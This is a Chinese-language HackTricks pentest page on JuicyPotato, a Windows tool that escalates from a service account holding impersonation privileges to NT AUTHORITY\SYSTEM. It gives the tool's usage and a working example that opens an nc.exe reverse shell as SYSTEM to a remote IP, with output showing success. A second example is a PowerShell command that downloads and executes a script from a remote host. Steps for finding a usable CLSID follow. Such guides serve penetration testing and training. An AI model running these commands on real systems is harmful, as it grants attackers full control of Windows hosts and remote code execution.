JuicyPotato

支持 HackTricks

JuicyPotato 在 Windows Server 2019 和 Windows 10 build 1809 及之后版本上无法工作。然而, PrintSpoofer RoguePotato SharpEfsPotato 可以用来 利用相同的权限并获得 NT AUTHORITY\SYSTEM 级别的访问权限。 检查:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (滥用黄金权限)

一个经过糖化的 RottenPotatoNG 版本,带有一点“果汁”,即 另一个本地权限提升工具,从 Windows 服务账户到 NT AUTHORITY\SYSTEM

摘要

来自 juicy-potato 的自述文件:

RottenPotatoNG 及其 变种 利用基于 BITS 服务 的权限提升链,具有在 127.0.0.1:6666 上的 MiTM 监听器,并且当你拥有 SeImpersonateSeAssignPrimaryToken 权限时。在一次 Windows 构建审查中,我们发现了一个故意禁用 BITS 的设置,并且端口 6666 被占用。

我们决定武器化 RottenPotatoNG向 Juicy Potato 打个招呼

有关理论,请参见 Rotten Potato - 从服务账户到 SYSTEM 的权限提升 并跟踪链接和参考。

我们发现,除了 BITS 之外,还有几个 COM 服务器可以利用。它们只需要:

  1. 由当前用户实例化,通常是具有模拟权限的“服务用户”

  2. 实现 IMarshal 接口

  3. 以提升的用户身份运行(SYSTEM、Administrator 等)

经过一些测试,我们获得并测试了一份在多个 Windows 版本上的 有趣 CLSID 列表

Juicy 细节

JuicyPotato 允许你:

  • 目标 CLSID 选择你想要的任何 CLSID。 这里 你可以找到按操作系统组织的列表。

  • COM 监听端口 定义你喜欢的 COM 监听端口(而不是硬编码的 6666)

  • COM 监听 IP 地址 在任何 IP 上绑定服务器

  • 进程创建模式 根据模拟用户的权限,你可以选择:

  • CreateProcessWithToken(需要 SeImpersonate

  • CreateProcessAsUser(需要 SeAssignPrimaryToken

  • 两者都可以

  • 要启动的进程 如果利用成功,启动一个可执行文件或脚本

  • 进程参数 自定义启动进程的参数

  • RPC 服务器地址 为了隐蔽的方式,你可以认证到外部 RPC 服务器

  • RPC 服务器端口 如果你想认证到外部服务器而防火墙阻止端口 135,这很有用…

  • 测试模式 主要用于测试目的,即测试 CLSID。它创建 DCOM 并打印令牌的用户。请参见 这里进行测试

使用

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

最后想法

来自 juicy-potato 读我:

如果用户拥有 SeImpersonateSeAssignPrimaryToken 权限,那么你就是 SYSTEM

几乎不可能防止所有这些 COM 服务器的滥用。你可以考虑通过 DCOMCNFG 修改这些对象的权限,但祝你好运,这将是一个挑战。

实际的解决方案是保护在 * SERVICE 账户下运行的敏感账户和应用程序。停止 DCOM 无疑会抑制此漏洞,但可能会对底层操作系统产生严重影响。

来自: http://ohpe.it/juicy-potato/

示例

注意: 访问 此页面 获取可尝试的 CLSID 列表。

获取 nc.exe 反向 shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

启动新的 CMD(如果您有 RDP 访问权限)

CLSID 问题

通常,JuicyPotato 使用的默认 CLSID 无法工作,并且漏洞利用失败。通常,需要多次尝试才能找到一个 有效的 CLSID。要获取特定操作系统的 CLSID 列表,您应该访问此页面:

检查 CLSID

首先,您需要一些可执行文件,除了 juicypotato.exe。

下载 Join-Object.ps1 并将其加载到您的 PS 会话中,然后下载并执行 GetCLSID.ps1。该脚本将创建一个可能的 CLSID 列表以供测试。

然后下载 test_clsid.bat (更改 CLSID 列表和 juicypotato 可执行文件的路径)并执行它。它将开始尝试每个 CLSID,当端口号改变时,这意味着 CLSID 有效

使用参数 -c 检查 有效的 CLSID

参考文献

支持 HackTricks

Last updated